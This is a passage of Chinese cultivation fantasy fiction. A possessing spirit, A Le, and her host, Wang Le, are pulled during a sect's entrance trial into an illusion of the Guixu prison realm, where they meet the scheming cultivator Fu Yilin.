唐湍根本不在乎他们是何种心情,要走请随意,这话他只是不好意思当众坦明。 【阿乐,是不是我们还没最终入选的意思?难道还有什么比试?该不会这些受试者中还有一对一的对决?那完蛋了,我谁也打不过。】 【对决若放在最后,那北武门的受试就显得太过低俗了,我看也许有什么大招。】 阿乐一直注视着先前跟在唐湍身后又受他指示暂且退下的弟子,果不其然,片刻后,这名弟子再次出现时,正手盆一物,而殿内两侧神不知鬼不觉地伫立着一些生面孔,竟不知这些北武门的弟子是何时来到殿内的。 他们清一色身着别角晚水的纹路服饰。 【王乐,也许他们是在挑选。】 【挑选?】 【是的,拜入北武门,总该有师徒或者师兄之称吧,你拜入哪一位门下,又和哪一位称兄道弟,这决定权怕是就在这些别角晚水之中。】 王乐从未想过有朝一日竟能走到玄武殿下,因此并未对这方面的信息多加了解,可即便她屏蔽了这些消息,总有些耳熟能详的事挤入他耳内。 北武门的事儿在修行界可是为人津津乐道。 【阿乐,反正这北武门招收弟子,还当真只注重个人资质,不论其他,刚才那个裴甚谦还真没说错,即便恶贯满盈,若是被北武门相中他的修仙天资,照收不误。】 【看这架势,北武门难不成想称霸修行界,成为仙门之首?可我听你说如今的仙门之首乃是东龙门温氏,所以咯,其余各门各家可并不吃他这套。】 【甭管吃不吃,北武门就是强得离谱,虽然四大仙门镇守四方,各自管辖领域,但是当别家仙门有搞不定的妖魔精怪时,第一个求助对象永远是北武门。】 阿乐心说,看来这就是身为强者最大的得利之处了,哪怕行事乖戾,剑走偏锋,可依旧有人对你又敬又恨,阿谀奉承。 “各位,请看!” 阿乐还在走神中,却闻唐湍再次开口,刚才离开的弟子重回于大殿之上,而他手中正托着什么东西,黑乎乎的一大块,阿乐还未看清,便觉得视野一阵闪烁,四周的场景骤然消失。 -------------------------------------------- 不见了北武门,不见了巍峨凛凛的玄武殿。 脚下寸草不生,四周砂砾荒壁,遥望上方天际,不见湛蓝天空白云绵绵,有的只剩无垠的灰败苍茫。 阿乐的潜意识中,可以肯定这是哪里。 “王乐,我们怎么会在这里,刚才在玄武殿上我看见某个弟子手里拿着一个黑色的东西。” 王乐没有回答她,而此时的阿乐才发现自己不再是一缕神识,而是一个虚晃的影子? 她仿佛有了实体,却像魂灵一般漂浮着。 莫非因为刚才的东西,让她的神识剥离出了王乐的身体?阿乐仔细地回想着刚才所见的一切,那是个黑色的物体,稍显圆形,倒有些像是铜镜,只是从未见过黑色的镜子,不仅如此,似乎还有别样的气息随附在这东西上,就像是慑人的寒气。 “阿乐,阿乐......你在吗?” 阿乐转身便看到了身后的王乐,弱小又无助地紧紧抱着双臂,泪眼朦胧地到处张望着呼唤她。 阿乐只觉她眼神真的不好使,不过念头一动又觉得也算是好事一件,起码王乐能看到她长什么样子了。 “我就在你面前,这里是归墟,我想是玄武殿上那个黑色的东西搞的鬼。” “阿乐!我听见了你的声音!和在我脑子里的声音不一样!是你在说话嘛!这里竟然是归墟?” 王乐伸展手臂胡乱虚抓着。 她看不到阿乐! “王乐,你看不见我?我就在你面前,看来我现在还真像是个鬼一样。” 王乐放下了手臂,看着前方的空气,内心竟感觉一阵落寞,任谁都不想被莫名其妙的东西肆意附身吧,她本能也是抗拒的,但是阿乐和她全然不同,她做了些甚至说了些她根本不敢说的话,这让王乐觉得她不像自己,又希 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而这莫名其妙的点头落在傅易璘眼里显得非常滑稽,从他眼中,只觉得此女子修为平平,脑子也不太聪明的样子,也不知是如何第一个到达北武门下的,而从刚才唐湍曲丰的言行来看,对她又颇为维护,反正无论如何这位王乐就像是谜一样的深不可测。 “既然我最先遇见王姑娘,不如一同探路,也好有个照应?” 王乐还在犹豫,阿乐却出声让她同意,二人一鬼便同行向前。 这傅易璘看着云淡风轻的模样,嘴却一刻不消停,和被驱逐请走的裴甚谦一样,对北武门的过往行径大表不满。 王乐似听非听,她一门心思都在周遭的环境上,阿乐与她剥离后,她已经无法在内心与她交流了,只能“听”,而不能“说”。 而此时如同阿飘存在的阿乐也有些心思不定,幻象中的归墟无疑有种奇怪的熟悉感,暗沉沉的荒壁给人一种迎面直冲而来的压迫感,仿佛有种困兽之斗的威胁感。 未知的危险和无法脱身的险境正是归墟本该有的样子。 阿乐突然说道:“火,有火。” 王乐“啊”了声,忘记了身侧的傅易璘,情不自禁地问道:“什么火?” 傅易璘的话被打断,被王乐如此一说,眉头一展,露出个意味深长的笑来:“看来王姑娘也知道这只有归墟才有的虚无业火。” 王乐眉头紧缩,也不知阿乐所说的是否正是此物,便道:“虚无业火,传闻中摧毁万物,烧毁世间生灵的鬼火在十六年前还当真出现过一次,就在这归墟。” 修行之人寿数比普通人更长久,因此虽然傅易璘实际年纪略小于王乐,可二人的外貌看似同龄。 这是傅易璘出生前的事,他出生散修,名不见经传,只有能依附庞大的仙家或者仙门,才能让自己的修为大步提升。他能通过北武门的入试本是大幸,原以为通过即是成为门下弟子,没想到竟又来一轮试验。 傅易璘并非对自己没有信心,他向来万事行一步早已先做三步的打算,并不敢直接在北武门上下赌注。王氏是北方的仙门大家,若是能攀附上王家也很有助益,即便他能顺利入北武门下,可没人说不能和王氏保持良好关系了,这王乐是王氏明文下达的追捕令,若他能擒住王乐,岂不是给王家帮了大忙,只是从那两北武门弟子的态度来看,似乎颇为偏袒这个王乐,他绝不想与北武门为敌。 傅易璘这一路很是犹豫,思前想后横看竖看这王乐根本毫无出挑之处,也许是正巧认识刚才那两北武门弟子?才给她行个方便?否则她怎么可能第一个到达北武门,还是从里走出的。 傅易璘内心动摇无比,在攀附王家和不得罪北武门的双重考量下,竟然有些犹豫不决,这实在不像他一贯果断圆滑的性格。 狂风飕飕,吹打在四周腐朽的枯木上传来阵阵萧飒之声,王乐被风沙刺得眯起了眼,耳内除了残余的簌簌风声外,还夹杂着野兽声声的低吼。 风并没有吹动漂浮的阿乐,她一直随着王乐,记忆却愈发地清晰。 阿乐道:“前处会有泥潭,别无它路,要想再往前走,只有渡过泥潭。” 她所认知的一切无处可寻,可她却能肯定。 【泥潭下有勾魂藤,被其缠之便会被拖入泥潭深处直至窒息而死。】 王乐迟缓了步伐,她对阿乐的存在愈发不可置信,归墟不是寻常修行之人会轻易涉足的地方。 归墟的存在只为了关押危险的异物,包括妖魔,凶兽,恶植,或者罪仙。 但凡涉入此处的修行之人多半是戴罪之身。 除此之外,王乐想不到其他可能性,哪个正经修行人会跑来归墟?莫非阿乐生前曾是罪仙? 灰败的天际像是屋顶似的往下直压,一股腐烂的腥臭味直冲鼻腔,王乐被熏得两眼直冒金星,眯起的视野中,只见两侧的荒壁逐渐褪去,眼前是层叠无垠的大片灰色枯林的轮廓,不见生灵,唯有兽类嘶吼阵阵。 傅易璘脚步骤停,伸手向前,惊呼道:“前面有人!”